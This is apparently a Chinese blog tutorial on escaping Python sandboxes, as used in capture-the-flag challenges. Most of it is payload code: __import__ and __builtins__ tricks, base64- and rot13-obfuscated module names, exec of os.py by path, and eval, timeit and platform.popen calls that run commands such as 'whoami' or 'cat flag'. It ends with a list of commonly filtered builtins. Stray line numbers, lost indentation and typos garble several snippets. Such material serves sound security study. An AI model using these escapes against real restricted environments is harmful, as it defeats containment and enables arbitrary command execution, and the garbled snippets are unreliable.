0%

python沙箱逃逸

前言

Q1:什么是沙箱?

沙箱是一种安全机制,在限制的环境中运行不受信任的代码。python中沙箱主要用于限制python,防止执行命令或者进行一些危险的行为。

Q2:什么是沙箱绕过?

就是怎么绕过沙箱对我们的限制,拿到危险函数,最终来执行命令的过程。

目的

对于python沙箱绕过,我们最终可能要实现的想法有如下:

·绕过限制 执行命令

·写文件到指定位置

绕过方式

import方式的绕过

  1. import xxx
  2. from xxx import *
  3. __import__('xxx')

使用其他的方式来导入包名

1
2
3
4
5
6
7
8
9
10
__import__('os').__dict__["system"]('whoami')
#python2 and python3

__import__(''.decode.('base64')).getoutput('pwd')
#python2

import importlib
x = importlib.import_module('pbzznaqf'.encode('rot_13')) #commands
print (x.getoutput('pwd'))
#python2

模块路径方式的绕过

python中所有的包都是以.py文件形式存在的,使用所有的包都是由绝对路径,我们可以是使用路径来达到引入包的目的。

一般和系统相关的信息都在sys下,使用sys.path可以查看到各个包的路径。

1
2
3
4
5
6
7
8
import sys

print(sys.path)

#sys下还有一个modules,返回一个字典,可以查看各个模块对应的系统路径。
print(sys.modules['os'])

#python2 and python3

如果把sys、os、reload一系列模块禁止了,使用模块对应路径来导入模块 前提是必须知道绝对路径 一般是默认路径不会改变

1
2
execfile('/usr/lib/python.2.7/os.py')
#python2
1
2
3
4
with open('/usr/lib/python3.6/os.py','r') as f: #路径通过上面的sys方法来找
exec(f.read())
system('ls')
#python2 and python3

timieit

1
2
3
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
#p2 and p3

builtins函数

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BaseExceptionGroup', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EncodingWarning', 'EnvironmentError', 'Exception', 'ExceptionGroup', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'ModuleNotFoundError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'WindowsError', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'aiter', 'all', 'anext', 'any', 'ascii', 'bin', 'bool', 'breakpoint', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
1
2
3
__builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64')).system('whoami')#但是这个只能python2使用
#==
__builtins__.__dict__['__import__']('os').system('whoami')#p2 and p3

exec and eval

1
2
eval('__import__("os").system("dir")')
eval('__import__("os").system("cat flag")')

platform

1
2
3
import platform
print (platform.popen('dir').read())
#python2

dir __dict__

1
2
3
4
5
6
class A():
def __init__(self):
self.a = 'a'
print (dir(A))

print (A.__dict__)
1
2
import sys
print (dir(sys.modules[__name__]))

func_code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def f(x,y,z):
a = 'secret'
b = 2333
print (f.func_code.co_argcount)
print (f.func_code.co_consts)
print (f.func_code.co_code)
#p2

def f(x,y,z):
a = 'secret'
b = 2333
print(f.__code__.co_argcount)
print(f.__code__.co_consts)
print(f.__code__.co_code)
#p3
1
2
3
4
5
import dis
def f(x,y,z):
a = 'secret'
b = 2333
print (dis.dis(f))

object类基础函数

其实就是SSTI 这里不多写

花式处理字符串

编码

open(chr(102)+chr(108)+chr(97)+chr(103)).read()

__builtins__.__dict__['__import__']('os').system('whoami')#p2 and p

1
__loader__,__import__,compile,eval,exec,chr,input,locals,globals and `,",'